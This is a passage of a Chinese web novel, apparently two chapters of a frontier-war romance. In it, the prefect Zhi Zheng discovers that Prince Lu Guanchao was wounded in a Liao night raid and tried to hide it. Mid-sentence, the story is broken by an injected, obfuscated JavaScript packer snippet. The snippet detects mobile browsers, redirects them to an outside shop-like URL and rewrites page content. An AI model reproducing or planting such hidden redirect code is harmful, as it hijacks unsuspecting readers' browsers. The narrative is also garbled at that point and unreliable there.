依季铮推测,两方许久不战,乍然出击,并不至于大动干戈,更多的应该是试探。 想清楚这一点,季铮劝住自己,正巧这时沈弎包扎好伤口,要见季铮。 季铮无奈让他进来,就见沈弎捂着胳膊,一瘸一拐的进来。 “不是伤了胳膊吗?”季铮问道,“怎么腿了伤到了?” 沈弎连连摇头,“我骑马太快,有点酸。” 季铮叹了口气,又问道,“不好好养伤,过来找我有什么事?” “哦哦!我要和大人说殿下的情况。”沈弎目光炯炯道,“我刚才就要说完,但那个人拦着我,不让我说,殿下说了,让我一定,把话给你说。” 他说的那个人,就是钟月月了。 这会钟月月破门而入,“你咋又跑出来了,胳膊伤了要好好养,还来和大人说什么有的没的?” “好了。”季铮扶额,“让他说吧,我没事。” 季铮深呼吸一口,几乎是在心底做了最坏的准备。 沈弎顶着无辜的表情,正经到像是在念课文,“殿下说‘我的簪子坏了,要你重新给我做一个。’让我务必亲口告诉大人!” 季铮:“……” 临终遗言这么草率吗? “你这人。”钟月月暴跳如雷,“说话能不能不要大喘气,我还以为那什么殿下怎么了呢。” 沈弎左右看看,不解道,“可殿下还说,如果大人不给他做,他就不理大人了,这句话很重要啊。” 季铮顿觉尴尬,就想捂住沈弎的嘴,他还没起身。 沈弎继续说,“对了,殿下让大人不用听风言风语,他心里有底,不用担心。” 季铮这下是真的笑了,对着沈弎也不知道说什么好了。 如果不是沈弎嗷这一嗓子,他恐怕还不知道辽军夜袭的消息,还真是感谢沈弎告诉他这个消息啊。 季铮笑够了,才道,“他还有别的话吗?” 沈弎思索片刻,“没了,好像就这些。” 季铮松了口气,又问,“你说殿下受伤了,伤到哪了?” “不知道。”沈弎摇头道,“这些都是殿下身边的赵年让我传的,他没告诉我殿下受伤了。” 季铮追问,“你那如何得知殿下受伤了。” 沈弎一本正经道,“我猜的。” 帅帐里来往不少军医,除了受伤还能是什么,难道殿下心情不好,要让所有军医过去给他助兴吗? 季铮这下是不想再听沈弎废话,他道,“你还是回去养伤吧。” 沈弎还要说自己的分析,季铮直接大手一挥让钟月月把他拉下去。 只要人没事就好,送走两人,季铮心道,人没事就好。 不然,他真的不知道怎么办了。 另一边,帅帐。 陆观潮靠在床上,军医已经给他匆匆包扎好伤口。 赵年掀起帘子进来,“殿下,我告诉沈百户了,他已经往刺史府去了。” “好。”陆观潮皱着眉,倒是没有别的痛苦难耐的表情,平淡的看手中断成两截的木簪。 赵年走了过去,仔细看了看,才看出来是陆观潮这段时间格外喜欢的一支簪子,每天都戴着,也不知道哪里特别。 直到陆观潮让他传话他才警觉,簪子不特别,特别的是送簪子的季铮啊。 季铮这奇怪,送殿下信物送支簪子,不知道还以为送定情信物呢。 帐内灯光昏暗,周琉邬也在帐里,被赵年进帐打断,顿了顿这会才说下去, “辽军已经撤军。”周琉邬这么说着,但面色并不好看,“属下已经令人去补刀了,好在刺史修好了城墙,才没让他们攻城成功。” “自然是要谢谢他的。” 陆观潮将簪子收好,点点头,“天热了,尸体务必处理好。” “是。”周琉邬说罢,抿唇阴沉着脸又道,“殿下受伤,我本想明日再告诉殿下,但怕殿下等不了。” 陆观潮抬眼看向他,“有话就说。” 周琉邬道,“咱们在辽军的眼线……死了。” “死了?”陆观潮眼睛眯了眯。 赵年不敢置信道,“怎么可能,他们从小在辽军蛰伏,怎么可能被发现。” 周琉邬摇头道,“并非被发现了,殿下可知辽军换了一个新主帅,据说是当年叛逃的镇国将军幼孙,他初上位,就将手下的人都换了一波。” 赵年倒吸一口凉气,“难不成都杀了,他们的皇帝就没话说?” “这就是奇怪的地方。”周琉邬道,“他做出这么大的动静,朝中却全然没有异言,我怀疑他挟持了辽国皇帝。” 挟持皇帝,倒像是镇国将军血脉干出来的事。 事已至此,陆观潮情绪也并没多波动,倒不是他沉着冷静不放在心上,而是他如今伤的动弹不得,连弯腰都刺骨的痛,实在做不出大反应了。 周琉邬离开,赵年问陆观潮,“殿下,好些了吗?” 陆观潮瞧了赵年一眼,不言而喻。 差点被箭射了个对穿,能好吗? “殿下,你不是说想要新簪子吗?”赵年讪讪笑了一下,“我要不明日让刺史大人过来看看?” “不可。” 陆观潮低头看看自己身上纱布紧裹着的伤口,可不能把季铮吓到了。 他冷声命令,“让刺史一门心思给我做簪子,别胡言乱语说我伤了。” 94.第 94 章 世事无常,陆观潮才这么警告完,第二日季铮就来了。 踏入驻军区域,季铮就闻到一股浓郁的血腥味,顿时就蹙起眉。 往日总是第一个发现他迎上来的张佴也不见踪影。 季铮看到一个打盹的老将,低声询问,“老伯,战况怎么样?” 老将回神,看清面前的人,他记性不好,没认出季铮是谁,只以为是哪家小少爷,语气不善道,“你个小娃娃跑到这干啥,这才打完,尸山血海的,到别处玩去。” 听到打完二字,季铮松了口气,又问老将,“昨夜几时打完的,伤亡如何。” “几时啊?”老将想了片刻,才道,“后半夜才没音,我哪知道伤亡,你这得问主帅,哪次打仗不受伤,倒是长了点。” 和季铮猜得不错,辽军这次就是为了探底而来,并没有久战。 他远远看去,城墙尚且安好,只有城墙上还在往来军医将士,爬上爬下的运送伤员,看来连城墙这关都没过。 还好提前几天把城墙修好了,不然若是还是之前的旧城墙,保不齐会破墙而入。 老将眯着眼看了季铮许多眼,越看越熟悉,他喃喃道,“你这小娃娃,咋长的这么眼熟……” “诶呀!”老将猛地认出来,吓得站了起来,“刺史大人?!” 钟月月跟在后面,像看戏曲一样,好奇的打量四周,“原来这就是驻军地方啊,味真大,我去,你这老头干啥。” 季铮看他是想跪,忙扶了一把,“我就是看看情况,不必宣扬。” 这会再说已经晚了,老将这一嗓子引得人人侧目。 众人看到季铮,连声拜见,要不是刺史大人修好了城墙,他们这些人,还不一定能看到今天的太阳,自然心怀感激。 赵年出来叫军医给陆观潮换药,听到一声刺史大人一惊,转头果然看到季铮在,登时也顾不上找军医了,急匆匆的赶回主帅帐。 “殿下!”赵年闯入帐中,惊恐道,“真神了,刺史大人来了,就在外面。” 陆观潮迟钝抬头,听完他的话后慌忙穿戴整齐,还找一件外袍披上,给自己遮得严严实实,就怕被季铮看到。 做完一切后,陆观潮吩咐赵年道,“别让军医过来,你带着刺史到处逛逛,两炷香后再待带他过来。” 光自己收拾了不行,帐内还摆着没喝完的药碗,昨晚换下没收起来,带着血迹的衣裳,他还得都藏起来。 季铮干什么这个时候来?! 陆观潮一边紧张,一边隐隐欣喜,他就知道,季铮肯定是放不下他。 赵年接到季铮时,看到他带着的钟月月,有些不解,“这位是?” “大人好。”钟月月率先开口,“我叫钟月月。” 季铮道,“在难民区收留的小朋友,会医术,我听沈弎说殿下生病了,也不知真的假的,还是带他来看看。” 陆观潮瞒得严密,受伤的事只有几个高层才知道。 这个沈弎,到底是咋看出来殿下受伤的。 “你好,我是殿下副将。”赵年强自镇定,对季铮笑着道,“殿下没受伤,沈弎看错了吧。” 钟月月上下把赵年看了一遍,“原来这就是副将,你这一身铠甲真威风,多重啊?” 赵年好脾气的回答他,“这是轻甲,二十斤。” “二十斤啊。”钟月月唏嘘道,“我能穿穿吗?” 赵年轻轻“啊”了一声。 “钟月月,不得无礼。”季铮制止一声,钟月月笑了笑捂住嘴。 季铮总觉得不对劲,但都听赵年这么说,就没多问,“大概是沈弎看错,我来找你家殿下,现在方便吗?” “现在——”赵年轻咳一声,“殿下在忙,我带大人到处转一转吧。” 季铮看这左右忙碌的场景,迟疑道,“不打扰吗?” 赵年摆手,“不打扰不打扰,大人请吧。” 正好季铮也不差这一时半刻,想着多看看,便跟上赵年。 季铮问,“我方才问了那将士,他不知伤亡如何,你可知道?” “伤亡倒是没多少。”赵年道,“不过殿下手下,年轻力壮的将士没多少,所以即便没多少也够多了。” 他看季铮沉思,又道,“还是要多谢大人早早修好了城墙,昨日他们攻城没成功,不然伤亡会更重。” 季铮问出他最关心的问题,“殿下既然加强了防卫,怎么还会突然被袭。” “是加强了不错。”赵年叹了口气,让季铮看右边的伤兵区,其中老人居多,还有十三四岁的瘦弱孩子。 季铮看在眼里,一阵揪心。 “夜间巡逻的人数不够,会用些不够岁数的和老兵。”赵年道,“难免会精力不足,一时不察就造成这样的结果了。” 就如陆观潮那日所说,这些人赶不得,赶出去不能活命,可留在军中也白养着,总得给他们找点活干。 而给他们找活,就一定会遇到这种情况。 赵年又道,“好在殿下发现了,没有造成更大的后果,今日已经将他们调到白日巡逻了。” 他喃喃着,“不过就这一夜,也不知怎么回事,就被辽军挑准了……” 耳边穿来哀嚎的声音,季铮垂了垂眼,他不能再这么徐徐图之下去了,辽军不可能只来这么一次,摸底之后是更猛烈的进攻。 军中将士等不得。 钟月月安静一路了,这会开口道,“大人,我去看看吧。” 赵年想起季铮说他会医术,问道,“钟公子,您的医术如何?” “说不上精通。”钟月月道,“但看看这些皮外伤错不了。” 赵年喜道,“那太好了,军中正缺人手,麻烦钟公子了。” 钟月月一颔首,转头钻进去领医药箱。 季铮看这钟月月过去,无端来了一句,“赵副将,还是不肯和我说实话吗?” 赵年后背一凉,还维持着表情没变,“大人何出此言。” “殿下不会不见我。”季铮笑着,说出的话却冷厉,“所以,殿下伤得很重吗?” 赵年吞了口唾沫,自知是瞒不住了,算了算时辰也差不多了,便道,“我带您过去吧。” 季铮到主帅帐时,陆观潮刚把最后一件带血的衣服藏起来。 回头就见季铮进来了,他勾了下唇角,“今天怎么想起来找我了?” 赵年临走前给陆观潮的递了个万分抱歉的眼神,可惜陆观潮注意力都在季铮身上,没能看到。 “没什么。”季铮道,“听说昨日遇袭,我来看看你有事吗?” 陆观潮站直身子展示给季铮看,“珏王殿下英勇无比,毫发无损。” “是吗?”季铮挑了挑眉,上前仔细看了看,笑道,“我家殿下真厉害。” 陆观潮以为季铮没看出来,刚松了一口气。 下一秒季铮伸手,摸着陆观潮的外袍,“这都六月天了,穿这么厚不热吗?” 热,当然热,陆观潮热的额头冒汗,还是硬着头皮说,“不热。” “我看着热。”季铮道,“你看看你都出汗了,可别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791051|205564||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 憋坏了,快脱了吧。” 季铮说着,上手要扒陆观潮的衣服,双手灵活的在陆观潮身上摸了一圈,摸到一处时,只觉陆观潮浑身一僵。 “季铮。”陆观潮这下是知晓季铮已经知道了,也就不装了,问,“谁告诉你的,我明明让人不要说出去。” 季铮气笑了,“你还不让人告诉我?” 傻子,以前无理取闹,斤斤计较的的劲头跑哪了? 陆观潮自己先委屈上了,“就不能装不知道吗?” “不能。”季铮拉着陆观潮坐到床上,“你是我的人,受伤了不能瞒着我,给我看看,哪里伤了?” 陆观潮无可奈何,退无可退,只得解开衣裳给他看。 他不好好躺着,非得站起来给季铮装,纱布包裹的地方透出血迹,季铮无从下手,神色沉重。 陆观潮捏了下季铮的手,安慰道,“军医说了没事,我也有数,小伤而已,过不了几天就好了。” “谁干的?” 陆观潮顿住了,他其实不用来这么一下的,分明躲过了,可辽军火力实在强悍,正巧发簪没戴好飞出,他下意识伸手捞了一把才中箭。 结果箭中了,簪子也没救过来。 太丢人了,陆观潮不好意思说,便道,“人已经死了。” 季铮道,“我去叫军医过来给你重新上药。” “先别走。”陆观潮拉住季铮,把人扯回来,没脸没皮道,“既然你都知道了,为什么不哄哄我就要走。” “还哄你?” 季铮咬牙道,“我都想打死你,哄个屁。” 陆观潮一摊手,“你都不哄我,我不活了,还是打死我吧。” 季铮看他躺下摆烂的样子,仿佛季铮不说句好听话就再也不起来一样。 “陆观潮。”季铮道,“你个无赖。” 陆观潮神色未变,“你说我是就是。” 季铮气一下子就消了,“真的没问题?” 都上战场了,怎么可能不受伤,陆观潮大大小小受过无数伤,这还第一次有人让他如此后悔伤到。 谁看到都无所谓,谁认为他弱都无所谓,陆观潮唯独不想让季铮觉得他弱,唯独不想让季铮看到他受伤。 好像那样就彰显着他是一个不值得托付的人,他怕,怕季铮嫌弃他,怕季铮也觉得他晦气,离他而去。 但真看到季铮时,这种小心思都消失了,季铮就那么看着他,陆观潮便清楚,季铮不会这么想,季铮只会担心他而已。 只有季铮,能让他生出拧巴畏缩的情绪,也只有季铮,能治愈他的情绪。 “没事。”陆观潮撑起下巴,笑了一下,转而说别的,“我听说你去见地勋了?” 季铮扶着他躺回去,“消息很灵通啊,我和他们谈好了,我养地换他们给流民建房子。” “不划算。”陆观潮道,“他们富得流油,你该多坑点钱。” 季铮乐了,“我又不是生的黑心,更何况逼得紧了,怕他们恼羞成怒。” 陆观潮又问,“那你给流民建房,费时费力,后续安置也是问题。” 季铮讲道,“房子不是白住的,你不是缺壮丁吗,身体康健的就放到军中,身体不康健的老弱病残,就下地干活。” 陆观潮笑道,“你还说你不是黑心?” “有吗?”季铮道,“天底下哪有包吃包住,还发工钱不让干活的好事,我又不是钱多到能烧着玩。” 陆观潮又道,“那刺史大人什么时候发发善心,给我重新弄一只簪子?”